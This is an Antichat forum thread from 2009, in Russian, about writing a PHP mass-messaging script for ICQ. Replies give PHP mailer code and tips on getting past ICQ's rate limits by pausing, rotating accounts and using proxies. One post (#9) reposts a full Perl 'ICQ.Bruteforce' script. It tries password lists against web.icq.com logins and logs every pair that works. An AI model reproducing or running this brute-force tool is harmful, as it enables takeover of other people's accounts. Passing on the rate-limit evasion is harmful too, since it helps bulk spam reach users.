ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

ICQ рассылка на php
  #1  
Старый 17.03.2009, 19:36
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
Lightbulb ICQ рассылка на php

Здравствуйте дорогие античатовцы!

Требуется ваша бесценная помощь.
Задача: написать простенький рассыльщих ICQ на php. Рассылать нужно будет по базе подписчиков.
Реально ли это? Если да, то подскажите с чего начинать.

Когда то делал месенгер на php и flash используя WebIcqLite.class - работал, но нестабильно.

Спасибо!
 
Ответить с цитированием

  #2  
Старый 17.03.2009, 20:12
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
PHP код:
$base=explode("\r\n",file_get_contents('base.txt')); 
Потом в цикле
PHP код:
for($i=0;$i<=count($base);$i++)
{
$icq->send_message($base[$i], "Message");
sleep(2);

Аську выбрасывает, если подряд сообщения идут с одного нума - поэтому прилепил слип. Либо можешь еще в цикл
PHP код:
define('UIN'$uins[$i]);
define('PASSWORD'$pass[$i]); 
опять же чтобы не выкидало аську. Только очень часто не логинись - надо будет прокси юзать.
 
Ответить с цитированием

  #3  
Старый 17.03.2009, 20:19
rushter
Reservists Of Antichat - Level 6
Регистрация: 23.05.2008
Сообщений: 756
Провел на форуме:
9257858

Репутация: 979


Отправить сообщение для rushter с помощью ICQ
По умолчанию

Цитата:
Сообщение от mailbrush  
Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
PHP код:
$base=explode("\r\n",file_get_contents('base.txt')); 
http://ru2.php.net/file
 
Ответить с цитированием

  #4  
Старый 17.03.2009, 20:31
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

rushter, ну да. Этим тоже можно. Забыл про него, разницы то нету.
 
Ответить с цитированием

  #5  
Старый 17.03.2009, 21:39
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

ну в общем что-то в этом роде:

PHP код:
<?php 
@set_time_limit(0); 
@
ini_set("display_errors","1");
ignore_user_abort(1);

include(
'WebIcqLite.class.php');

$ini parse_ini_file("icq.ini");

$uin $ini[uin]; // UIN для бота
$pass $ini[pass]; // Пароль для UIN бота
$file_uin $ini[file_uin]; // Файл, где список рассылки
$message $ini[message]; // Сообщение 
$pause $ini[pause]; // пауза между сообщениями

define('UIN'$uin);
define('PASSWORD'$pass);

$icq = new WebIcqLite();
if(!
$icq->connect(UINPASSWORD)) {
       echo 
$icq->error;
       exit();
}
   
$file fopen($file_uin,'r');
   while (!
feof($file)) {
      
$buffer trim(fgets($file));
      
$icq->send_message($buffer$message);
      echo 
"Message sent to $buffer \n";
      
flush();
      
sleep($pause);
   }    

$icq->disconnect();
exit();
?>
icq.ini:

PHP код:
uin 123456 UINс которого рассылаем
pass 
1234 Пароль для UINс которого рассылаем
file_uin 
uin.txt Файл со списком UIN для рассылки
message 
test, do not reply this messagebot-test Собственно сама мессага для отсылки
pause 
Пауза между каждым сообщениемчтобы нас не забанили (в секундах
uin.txt:

PHP код:
11111
22222
33333
44444 
скачать сорцы + icq.exe (скомпилировано под винды, протестено под win xp, потому и стабильно) + настройки + сам класс в виде архива:

скачать

Последний раз редактировалось Pashkela; 17.03.2009 в 21:50..
 
Ответить с цитированием

  #6  
Старый 17.03.2009, 22:26
mff
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479

Репутация: 1809


Отправить сообщение для mff с помощью ICQ
По умолчанию

Спасибо ребят! Полез разбирать!
 
Ответить с цитированием

  #7  
Старый 18.03.2009, 07:46
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
Провел на форуме:
2976185

Репутация: 694


Отправить сообщение для blaga с помощью ICQ
По умолчанию

Pashkela, чем тебе так ини файлы нравяться?
вообще то не очень удобно, если кто нить узнает что такой файл есть на серваке то его можно тупо скачать и узнать нум и пасс с которого шлют, а потом и скачать файл с уинами подписчиков.
имхо было бы проще сделать на php этот файл а нумы хранить в БД... ИМХО
 
Ответить с цитированием

  #8  
Старый 18.03.2009, 08:28
Gray_Wolf
Постоянный
Регистрация: 07.03.2009
Сообщений: 357
Провел на форуме:
1284900

Репутация: 399
По умолчанию

2blaga *.ini и *.txt можно хранить в отдельном каталоге с .htaccess.
 
Ответить с цитированием

  #9  
Старый 18.03.2009, 09:20
PandoraBox
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме:
1510937

Репутация: 398
Отправить сообщение для PandoraBox с помощью ICQ
По умолчанию

на перл для многопоточности!

Код:
#!/usr/bin/perl

#############################################
#############################################
#
# ICQ.Bruteforce v1.7 by UsEle$$ gr0up
#
# Language: Perl Code
# Platform: Any with Perl started
# Author: Hunt
# All Rights Reserved by UsEle$$ gr0up
#
# 11.12.02
#
#############################################
#############################################

use IO::Socket;

$negative = 'incorrect';
$positive = 'change_details';
$server   = 'web.icq.com';

# local files directives
$uins        = 'uins.txt';
$passwordlst = 'pass.txt';
$success     = 'log.txt';
$debuglog    = 'debug.log';

# begin of script-code

print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
print "\tLanguage: Perl Code\n";
print "\tPlatform: Any with Perl started\n";
print "\tAuthor: Hunt\n";
print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
print "\tReady to work...\n\n";

&checkstart; # checking configuration
&openuins;   # opening uins & pass list

sub checkstart
{
  crash($uins) unless -f $uins;
  crash($passwordlst) unless -f $passwordlst;
}

sub openuins
{
  open UINS, "< $uins";
  while (<UINS>) {
    chomp $_;
    push @uinslst, $_;
  }
  close UINS;
  for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
    $prepareuin = $uinslst[$iall];
    openpass($prepareuin);
  }
}

sub openpass
{
  my($uin) = @_;
  open PASS, "< $passwordlst";
#  while (<PASS>) {
#    chomp $_;
#    push @ps, $_;
#  }
  @ps = <PASS> while <PASS>;
  close PASS;
  foreach $pass (@ps) {
    $done = crack($pass, $uin);
    if ($done eq 2) {
      print "\tFound\n";
      return;
    }
    return if $done eq 3;
  }
}

sub crack
{
  my($passwd, $uin) = @_;
  return 3 unless $passwd;
  print "\tTrying $uin and $passwd... ";
  $dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
  $resuilt = sock($dir);
  if ($resuilt == -1) {
    print "Can\'t connect to server... Reconnecting\n";
    redo;
  } elsif (!$resuilt) {
    print "failed\n";
    return 0;
  } elsif ($resuilt) {
    print "success\n";
    logging($success, "$uin\:$passwd");
    $i++;
    return 2;
  }
}

sub sock
{
  my($socket);
  my($get) = @_;
  $socket = IO::Socket::INET->new(PeerAddr => $server,
                                  PeerPort => 80,
                                  Proto => tcp) or return -1;
  $get =~ s/\r|\n//g;
  print $socket "HEAD $get HTTP/1.0\n\n";
  while (<$socket>) {
    $answer = $_;
    chomp $answer;
    if ($answer =~ /$positive/) {
      close $socket;
      return 1;
    }
    if ($answer =~ /$negative/) {
      close $socket;
      return 0;
    }
  }
}

sub logging
{
  my($logg, $string) = @_;
  open LOGG, ">> $logg";
  print LOGG "$string\n";
  close LOGG;    
}

sub crash
{
  my($file) = @_;
  print "\tCan\'t access to $file\n";
  exit;
}
 
Ответить с цитированием

  #10  
Старый 18.03.2009, 13:42
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме:
2603363

Репутация: 278
Отправить сообщение для Deathdreams с помощью ICQ
По умолчанию

2 Pashkela
на самом деле ini файлы в данном случае неудобны.
не проще всё указать в переменных?
намного быстрее будет скрипт выполнятся.А так пока он будет парсить.
Здесь так и указать значения.

$uin = 'uin бота'; // UIN для бота
$pass = 'pass uin'; // Пароль для UIN бота
$file_uin = file(uins.txt); // Файл, где список рассылки
$message = 'месага'; // Сообщение
$pause = '2'; // пауза между сообщениями
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Мгновенные сообщения как феномен Интернета GrinGoO Мировые новости 9 30.10.2009 08:41
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ